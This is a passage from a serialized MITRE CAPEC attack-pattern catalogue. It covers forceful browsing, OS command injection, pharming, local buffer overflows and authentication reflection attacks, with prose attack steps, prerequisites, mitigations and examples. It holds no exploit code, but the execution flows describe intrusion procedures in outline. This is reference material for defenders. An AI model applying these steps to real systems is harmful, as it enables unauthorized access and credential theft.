+ + + + + Updated Example_Instances, Execution_Flow + + + + + + + + + + + + #indModificationModification45453 + Modification_45453 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated References, Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification45459 + Modification_45459 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Example_Instances, Execution_Flow, Skills_Required + + + + + + + + + + + + #indModificationModification45465 + Modification_45465 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName45471 + Previous_Entry_Name_45471 + + + + + + + + + 2017-05-01 + + + + + Embedding Script (XSS) in HTTP Headers + + + + + + + + + + + + #CAPEC-87 + Forceful Browsing + + + + + + + + + 87 + + + + + Forceful Browsing + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker employs forceful browsing (direct URL entry) to access portions of a website that are otherwise unreachable. Usually, a front controller or similar design pattern is employed to protect access to portions of a web application. Forceful browsing enables an attacker to access information, perform privileged operations and otherwise reach sections of the web application that have been improperly protected.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern45479 + Related_Attack_Pattern_45479 + + + + + + + + + + + + + + 115 + + + + + + + + + + + + #indAttackStepAttackStep45482 + Attack_Step_45482 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Spider] Using an automated tool, an attacker follows all public links on a web site. They record all the links they find.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a spidering tool to follow and record all links.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record all links visited during a manual traversal of the web application.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep45489 + Attack_Step_45489 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Attempt well-known or guessable resource locations] Using an automated tool, an attacker requests a variety of well-known URLs that correspond to administrative, debugging, or other useful internal actions. They record all the positive responses from the server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a spidering tool to follow and record attempts on well-known URLs.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a proxy tool to record all links visited during a manual traversal of attempts on well-known URLs.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep45496 + Attack_Step_45496 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Use unauthorized resources] By visiting the unprotected resource, the attacker makes use of unauthorized functionality.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Access unprotected functions and execute them.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep45502 + Attack_Step_45502 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[View unauthorized data] The attacker discovers and views unprotected sensitive data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Direct request of protected pages that directly access database back-ends. (e.g., list.jsp, accounts.jsp, status.jsp, etc.)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The forcibly browseable pages or accessible resources must be discoverable and improperly protected.</xhtml:div> + + + + + + + + + + + + #indSkillSkill45513 + Skill_45513 + + + + + + + + + + + + + + Forcibly browseable pages can be discovered by using a number of automated tools. Doing the same manually is tedious but by no means difficult. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack. A directory listing is helpful, but not a requirement.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence45519 + Consequence_45519 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence45523 + Consequence_45523 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Authenticate request to every resource. In addition, every page or resource must ensure that the request it is handling has been made in an authorized context.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Forceful browsing can also be made difficult to a large extent by not hard-coding names of application pages or resources. This way, the attacker cannot figure out, from the application alone, the resources available from the present context.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A bulletin board application provides an administrative interface at admin.aspx when the user logging in belongs to the administrators group.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An attacker can access the admin.aspx interface by making a direct request to the page. Not having access to the interface appropriately protected allows the attacker to perform administrative functions without having to authenticate themself in that role.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 425 + + + + + 285 + + + + + 693 + + + + + + + + + + + + #indTaxonomyMappingPredictableResourceLocation + Predictable Resource Location + + + + + + + + + + + + + + 34 + + + + + Predictable Resource Location + + + + + + + + + + + + #indTaxonomyMappingForcedBrowsing + Forced browsing + + + + + + + + + + + + + + Forced browsing + + + + + + + + + + + + #indContentHistoryContentHistory45554 + Content_History_45554 + + + + + + + + + + + + + + + + #indSubmissionSubmission45555 + Submission_45555 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification45560 + Modification_45560 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification45566 + Modification_45566 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Related_Attack_Patterns, Resources_Required + + + + + + + + + + + + #indModificationModification45572 + Modification_45572 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Phases, Attacker_Skills_or_Knowledge_Required, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification45578 + Modification_45578 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Example_Instances, Execution_Flow + + + + + + + + + + + + #indModificationModification45584 + Modification_45584 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Description, Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-88 + OS Command Injection + + + + + + + + + 88 + + + + + OS Command Injection + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern45597 + Related_Attack_Pattern_45597 + + + + + + + + + + + + + + 248 + + + + + + + + + + + + #indAttackStepAttackStep45600 + Attack_Step_45600 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify inputs for OS commands] The attacker determines user controllable input that gets passed as part of a command to the underlying operating system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Port mapping. Identify ports that the system is listening on, and attempt to identify inputs and protocol types on those ports.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">TCP/IP Fingerprinting. The attacker uses various software to make connections or partial connections and observe idiosyncratic responses from the operating system. Using those responses, they attempt to guess the actual operating system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Induce errors to find informative error messages</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep45608 + Attack_Step_45608 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey the Application] The attacker surveys the target application, possibly as a valid and authenticated user</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Spidering web sites for all available links</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Inventory all application inputs</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep45615 + Attack_Step_45615 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Vary inputs, looking for malicious results.] Depending on whether the application being exploited is a remote or local one the attacker crafts the appropriate malicious input, containing OS commands, to be passed to the application</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Inject command delimiters using network packet injection tools (netcat, nemesis, etc.)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Inject command delimiters using web test frameworks (proxies, TamperData, custom programs, etc.)</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep45622 + Attack_Step_45622 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Execute malicious commands] The attacker may steal information, install a back door access mechanism, elevate privileges or compromise the system in some other way.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker executes a command that stores sensitive information into a location where they can retrieve it later (perhaps using a different command injection).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">User controllable input used as part of commands to the underlying operating system.</xhtml:div> + + + + + + + + + + + + #indSkillSkill45633 + Skill_45633 + + + + + + + + + + + + + + The attacker needs to have knowledge of not only the application to exploit but also the exact nature of commands that pertain to the target operating system. This may involve, though not always, knowledge of specific assembly commands for the platform. + + + + + + + + + + + + #indConsequenceConsequence45636 + Consequence_45636 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence45643 + Consequence_45643 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence45650 + Consequence_45650 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use language APIs rather than relying on passing data to the operating system shell or command line. Doing so ensures that the available protection mechanisms in the language are intact and applicable.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Filter all incoming data to escape or remove characters or strings that can be potentially misinterpreted as operating system or shell commands</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">All application processes should be run with the minimal privileges required. Also, processes must shed privileges as soon as they no longer require them.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A transaction processing system relies on code written in a number of languages. To access this functionality, the system passes transaction information on the system command line.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An attacker can gain access to the system command line and execute malicious commands by injecting these commands in the transaction data. If successful, the attacker can steal information, install backdoors and perform other nefarious activities that can compromise the system and its data.&lt;/xhtml:p&gt;See also: A vulnerability in Mozilla Firefox 1.x browser allows an attacker to execute arbitrary commands on the UNIX/Linux operating system. The vulnerability is caused due to the shell script used to launch Firefox parsing shell commands that are enclosed within back-ticks in the URL provided via the command line. This can be exploited to execute arbitrary shell commands by tricking a user into following a malicious link in an external application which uses Firefox as the default browser (e.g. the mail client Evolution on Red Hat Enterprise Linux 4).</xhtml:div> + + + + + 78 + + + + + 88 + + + + + 20 + + + + + 697 + + + + + + + + + + + + #indTaxonomyMappingOSCommanding + OS Commanding + + + + + + + + + + + + + + 31 + + + + + OS Commanding + + + + + + + + + + + + #indReferenceReference45678 + Reference_45678 + + + + + + + + + REF-543 + + + + + + + + + + + + #indContentHistoryContentHistory45680 + Content_History_45680 + + + + + + + + + + + + + + + + #indSubmissionSubmission45681 + Submission_45681 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification45686 + Modification_45686 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification45692 + Modification_45692 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification45698 + Modification_45698 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Execution_Flow, Related_Weaknesses + + + + + + + + + + + + #CAPEC-89 + Pharming + + + + + + + + + 89 + + + + + Pharming + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A pharming attack occurs when the victim is fooled into entering sensitive data into supposedly trusted locations, such as an online bank site or a trading platform. An attacker can impersonate these supposedly trusted sites and have the victim be directed to their site rather than the originally intended one. Pharming does not require script injection or clicking on malicious links for the attack to succeed.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern45711 + Related_Attack_Pattern_45711 + + + + + + + + + + + + + + 151 + + + + + 515 + + + + + 512 + + + + + 513 + + + + + + + + + + + + #indAttackStepAttackStep45718 + Attack_Step_45718 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attacker sets up a system mocking the one trusted by the users. This is usually a website that requires or handles sensitive information.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep45723 + Attack_Step_45723 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker then poisons the resolver for the targeted site. This is achieved by poisoning the DNS server, or the local hosts file, that directs the user to the original website</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep45728 + Attack_Step_45728 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">When the victim requests the URL for the site, the poisoned records direct the victim to the attackers' system rather than the original one.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep45733 + Attack_Step_45733 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Because of the identical nature of the original site and the attacker controlled one, and the fact that the URL is still the original one, the victim trusts the website reached and the attacker can now "farm" sensitive information such as credentials or account numbers.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Vulnerable DNS software or improperly protected hosts file or router that can be poisoned</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A website that handles sensitive information but does not use a secure connection and a certificate that is valid is also prone to pharming</xhtml:div> + + + + + + + + + + + + #indSkillSkill45744 + Skill_45744 + + + + + + + + + + + + + + The attacker needs to be able to poison the resolver - DNS entries or local hosts file or router entry pointing to a trusted DNS server - in order to successfully carry out a pharming attack. Setting up a fake website, identical to the targeted one, does not require special skills. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack. Having knowledge of the way the target site has been structured, in order to create a fake version, is required. Poisoning the resolver requires knowledge of a vulnerability that can be exploited.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence45750 + Consequence_45750 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">All sensitive information must be handled over a secure connection.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Known vulnerabilities in DNS or router software or in operating systems must be patched as soon as a fix has been released and tested.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">End users must ensure that they provide sensitive information only to websites that they trust, over a secure connection with a valid certificate issued by a well-known certificate authority.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An online bank website requires users to provide their customer ID and password to log on, but does not use a secure connection.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An attacker can setup a similar fake site and leverage pharming to collect this information from unknowing victims.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 346 + + + + + 350 + + + + + + + + + + + + #indContentHistoryContentHistory45770 + Content_History_45770 + + + + + + + + + + + + + + + + #indSubmissionSubmission45771 + Submission_45771 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification45776 + Modification_45776 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification45782 + Modification_45782 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification45788 + Modification_45788 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification45794 + Modification_45794 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification45800 + Modification_45800 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Description + + + + + + + + + + + + #indModificationModification45806 + Modification_45806 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification45812 + Modification_45812 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #CAPEC-9 + Buffer Overflow in Local Command-Line Utilities + + + + + + + + + 9 + + + + + Buffer Overflow in Local Command-Line Utilities + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack targets command-line utilities available in a number of shells. An adversary can leverage a vulnerability found in a command-line utility to escalate privilege to root.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern45827 + Related_Attack_Pattern_45827 + + + + + + + + + + + + + + 100 + + + + + + + + + + + + #indAttackStepAttackStep45830 + Attack_Step_45830 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify target system] The adversary first finds a target system that they want to gain elevated priveleges on. This could be a system they already have some level of access to or a system that they will gain unauthorized access at a lower privelege using some other means.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep45835 + Attack_Step_45835 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Find injection vector] The adversary identifies command line utilities exposed by the target host that contain buffer overflow vulnerabilites. The adversary likely knows which utilities have these vulnerabilities and what the effected versions are, so they will also obtain version numbers for these utilities.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep45840 + Attack_Step_45840 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Craft overflow command] Once the adversary has found a vulnerable utility, they will use their knownledge of the vulnerabilty to create the command that will exploit the buffer overflow.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep45845 + Attack_Step_45845 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Overflow the buffer] Using the injection vector, the adversary executes the crafted command, gaining elevated priveleges on the machine.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target host exposes a command-line utility to the user.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The command-line utility exposed by the target host has a buffer overflow vulnerability that can be exploited.</xhtml:div> + + + + + + + + + + + + #indSkillSkill45856 + Skill_45856 + + + + + + + + + + + + + + An adversary can simply overflow a buffer by inserting a long string into an adversary-modifiable injection vector. The result can be a DoS. + + + + + + + + + + + + #indSkillSkill45857 + Skill_45857 + + + + + + + + + + + + + + Exploiting a buffer overflow to inject malicious code into the stack of a software system or even the heap can require a higher skill level. + + + + + + + + + + + + #indConsequenceConsequence45860 + Consequence_45860 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence45866 + Consequence_45866 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence45873 + Consequence_45873 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence45877 + Consequence_45877 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence45881 + Consequence_45881 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Carefully review the service's implementation before making it available to user. For instance you can use manual or automated code review to uncover vulnerabilities such as buffer overflow.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a language or compiler that performs automatic bounds checking.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use an abstraction library to abstract away risky APIs. Not a complete solution.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Operational: Use OS-level preventative functionality. Not a complete solution.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Apply the latest patches to your user exposed services. This may not be a complete solution, especially against a zero day attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Do not unnecessarily expose services.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;"&gt; + &lt;xhtml:b&gt;Attack Example: HPUX passwd&lt;/xhtml:b&gt; + &lt;xhtml:div&gt;A buffer overflow in the HPUX passwd command allows local users to gain root privileges via a command-line option.&lt;/xhtml:div&gt; + &lt;/xhtml:div&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;"&gt; + &lt;xhtml:b&gt;Attack Example: Solaris getopt&lt;/xhtml:b&gt; + &lt;xhtml:div&gt;A buffer overflow in Solaris's getopt command (found in libc) allows local users to gain root privileges via a long argv[0].&lt;/xhtml:div&gt; + &lt;/xhtml:div&gt; + </xhtml:div> + + + + + 120 + + + + + 118 + + + + + 119 + + + + + 74 + + + + + 20 + + + + + 680 + + + + + 733 + + + + + 697 + + + + + + + + + + + + #indReferenceReference45918 + Reference_45918 + + + + + + + + + REF-1 + + + + + + + + + + + + #indContentHistoryContentHistory45920 + Content_History_45920 + + + + + + + + + + + + + + + + #indSubmissionSubmission45921 + Submission_45921 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification45926 + Modification_45926 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification45932 + Modification_45932 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification45938 + Modification_45938 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification45944 + Modification_45944 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification45950 + Modification_45950 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Skills_Required + + + + + + + + + + + + #indModificationModification45956 + Modification_45956 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-90 + Reflection Attack in Authentication Protocol + + + + + + + + + 90 + + + + + Reflection Attack in Authentication Protocol + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary can abuse an authentication protocol susceptible to reflection attack in order to defeat it. Doing so allows the adversary illegitimate access to the target system, without possessing the requisite credentials. Reflection attacks are of great concern to authentication protocols that rely on a challenge-handshake or similar mechanism. An adversary can impersonate a legitimate user and can gain illegitimate access to the system by successfully mounting a reflection attack during authentication.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern45971 + Related_Attack_Pattern_45971 + + + + + + + + + + + + + + 272 + + + + + 513 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern45974 + Related_Attack_Pattern_45974 + + + + + + + + + + + + + + 114 + + + + + 515 + + + + + + + + + + + + #indAttackStepAttackStep45979 + Attack_Step_45979 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify service with vulnerable handshake authentication] The adversary must first identify a vulnerable authentication protocol. The most common indication of an authentication protocol vulnerable to reflection attack is when the client initiates the handshake, rather than the server. This allows the client to get the server to encrypt targeted data using the server's pre-shared key.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep45984 + Attack_Step_45984 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Send challenge to target server] The adversary opens a connection to the target server and sends it a challenge. This challenge is arbitrary and is simply used as a placeholder for the protocol in order to get the server to respond.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep45989 + Attack_Step_45989 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Receive server challenge] The server responds by returning the challenge sent encrypted with the server's pre-shared key, as well as its own challenge to the attacker sent in plaintext. We will call this challenge sent by the server "C". C is very important and is stored off by the adversary for the next step.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep45994 + Attack_Step_45994 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Initiate second handshake] Since the adversary does not possess the pre-shared key, they cannot encrypt C from the previous step in order for the server to authenticate them. To get around this, the adversary initiates a second connection to the server while still keeping the first connection alive. In the second connection, the adversary sends C as the initial client challenge, which rather than being arbitary like the first connection, is very intentional.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep45999 + Attack_Step_45999 + + + + + + + + + 5 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Receive encrypted challenge] The server treats the intial client challenge in connection two as an arbitrary client challenge and responds by encrypting C with the pre-shared key. The server also sends a new challenge. The adversary ignores the server challenge and stores the encrypted version of C. The second connection is either terminated or left to expire by the adversary as it is no longer needed.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep46004 + Attack_Step_46004 + + + + + + + + + 6 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary now posseses the encrypted version of C that is obtained through connection two. The adversary continues the handshake in connection one by responding to the server with the encrypted version of C, verifying that they have access to the pre-shared key (when they actually do not). Because the server uses the same pre-shared key for all authentication it will decrypt C and authenticate the adversary for the first connection, giving the adversary illegitimate access to the target system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker must have direct access to the target server in order to successfully mount a reflection attack. An intermediate entity, such as a router or proxy, that handles these exchanges on behalf of the attacker inhibits the attackers' ability to attack the authentication protocol.</xhtml:div> + + + + + + + + + + + + #indSkillSkill46014 + 